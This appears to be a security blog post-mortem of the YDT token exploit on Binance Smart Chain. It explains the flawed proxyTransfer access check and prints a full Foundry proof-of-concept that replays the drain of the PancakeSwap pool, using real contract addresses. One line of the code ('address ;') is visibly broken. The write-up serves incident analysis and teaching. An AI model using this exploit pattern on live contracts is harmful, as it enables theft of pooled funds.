YDT Exploit: Step-by-Step Breakdown and Foundry Simulation

A detailed analysis of the YDT token vulnerability on BSC. This post explains the flawed access control logic, walks through the attacker’s flow, and demonstrates a full exploit simulation using Foundry.

Written by BuildBear Team on Aug 22, 2025

Overview

The YDT token contract on Binance Smart Chain suffered an exploit in which an attacker drained approximately $41,000 worth of USDT by abusing a vulnerable function called proxyTransfer.

🔗 View the transaction on BscScan

Vulnerable Function: proxyTransfer

function proxyTransfer(
    address sender,
    address recipient,
    uint256 amount,
    address callerModule
) external {
    require(
        address(taxModule) == callerModule ||
        address(referralModule) == callerModule ||
        address(deflationModule) == callerModule ||
        address(liquidityModule) == callerModule ||
        address(lpTrackingModule) == callerModule,
        "Only sub-modules allowed"
    );
    super._transfer(sender, recipient, amount);
}

What Went Wrong

The intent was to restrict calls to proxyTransfer() to only a few internal modules (like taxModule, referralModule, etc.). However:

  • The function only checks if the argument callerModule is a valid module address.
  • It does not check if msg.sender is the actual module contract.

This allows anyone to call the function and pass a whitelisted module address as a parameter, bypassing the intended access control. This created a critical vulnerability allowing arbitrary transfers from LPs.

Vulnerable Function Diagram Placeholder


Exploit Path Breakdown

The exploit was carried out in three clear steps. Transaction debug is available on Sentio.

Exploit Flow Placeholder

Step 1: Abuse proxyTransfer

The attacker pretended to be the taxModule and used proxyTransfer() to pull tokens directly from the Pancake LP into their wallet.

Step 2: Sync the LP

The PancakeSwap liquidity pair was synced to update on-chain reserves and reflect the balance change.

Step 3: Swap to USDT

The attacker swapped the stolen YDT tokens for BSC-USD (a stablecoin), realizing a profit of about $41,000 in a single transaction.

Visual Flow of Funds

Here is a simplified view of the exploit:


Foundry Simulation of the Exploit

The attack was simulated using a local Foundry test on a fork of the Binance Smart Chain.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test} from "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";

interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external;
}

interface IYDT {
    function proxyTransfer(address sender, address recipient, uint256 amount, address callerModule) external;
}

interface IPancakeRouter {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IPancakePair {
    function sync() external;
}

contract YDTHack is Test {
    address constant TAX_MODULE = 0x013E29791A23020cF0621AeCe8649c38DaAE96f0;
    address constant USDT = 0x55d398326f99059fF775485246999027B3197955;
    address constant YDT = 0x3612e4Cb34617bCac849Add27366D8D85C102eFd;
    address pancakePair = 0xFd13B6E1d07bAd77Dd248780d0c3d30859585242;
    IPancakeRouter pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));

    function setUp() public {
        uint256 fork = vm.createSelectFork("https://binance.llamarpc.com", 50273545);
        vm.selectFork(fork);
    }

    function test_Exploit() public {
        assert(block.number == 50273545);
        assert(block.chainid == 56);

        vm.deal(address(this), 1 ether);

        uint256 pairBalance = IERC20(YDT).balanceOf(pancakePair);
        IYDT(YDT).proxyTransfer(pancakePair, address(this), pairBalance - 1000 * 1e6, TAX_MODULE);
        IPancakePair(pancakePair).sync();

        address ;
        path[0] = YDT;
        path[1] = USDT;
        uint256 ydtBalanceOfAttacker = IERC20(YDT).balanceOf(address(this));
        IERC20(YDT).approve(address(pancakeRouter), ydtBalanceOfAttacker);
        IPancakeRouter(pancakeRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            ydtBalanceOfAttacker, 0, path, address(this), block.timestamp + 120
        );
    }
}

Steps Performed

  1. Forked Binance Smart Chain one block before the attack (50273545)
  2. Called proxyTransfer() to drain LP tokens
  3. Synced LP state
  4. Swapped stolen YDT for USDT via PancakeSwap
  5. Captured logs with console2 to verify balances
forge build
forge test --mt test_Exploit -vvv

Simulation Screenshot Placeholder


Root Cause

The function trusted user input (callerModule) instead of validating the actual caller (msg.sender).

Replace the conditional check with strict access control:

require(
    msg.sender == taxModule ||
    msg.sender == referralModule ||
    ...
);

Or use a custom onlyModule modifier for better encapsulation.


Key Takeaways

  • Always validate msg.sender, not just function parameters
  • Never allow proxy-style transfers without strict access controls
  • External input validation is critical to secure DeFi contracts
  • Consider automated security tools or audits for functions with authority over token movement

Conclusion

The YDT exploit demonstrates how a single incorrect check in access control logic can cause irreversible financial damage. Although the monetary loss was relatively small (~$41k), the reputational harm and trust loss are much harder to recover from.

Projects should carefully review and test any logic that allows token transfers, especially when the transfer authority can be influenced by user-provided parameters.

YDT Exploit: Step-by-Step Breakdown and Foundry Simulation - BuildBear Labs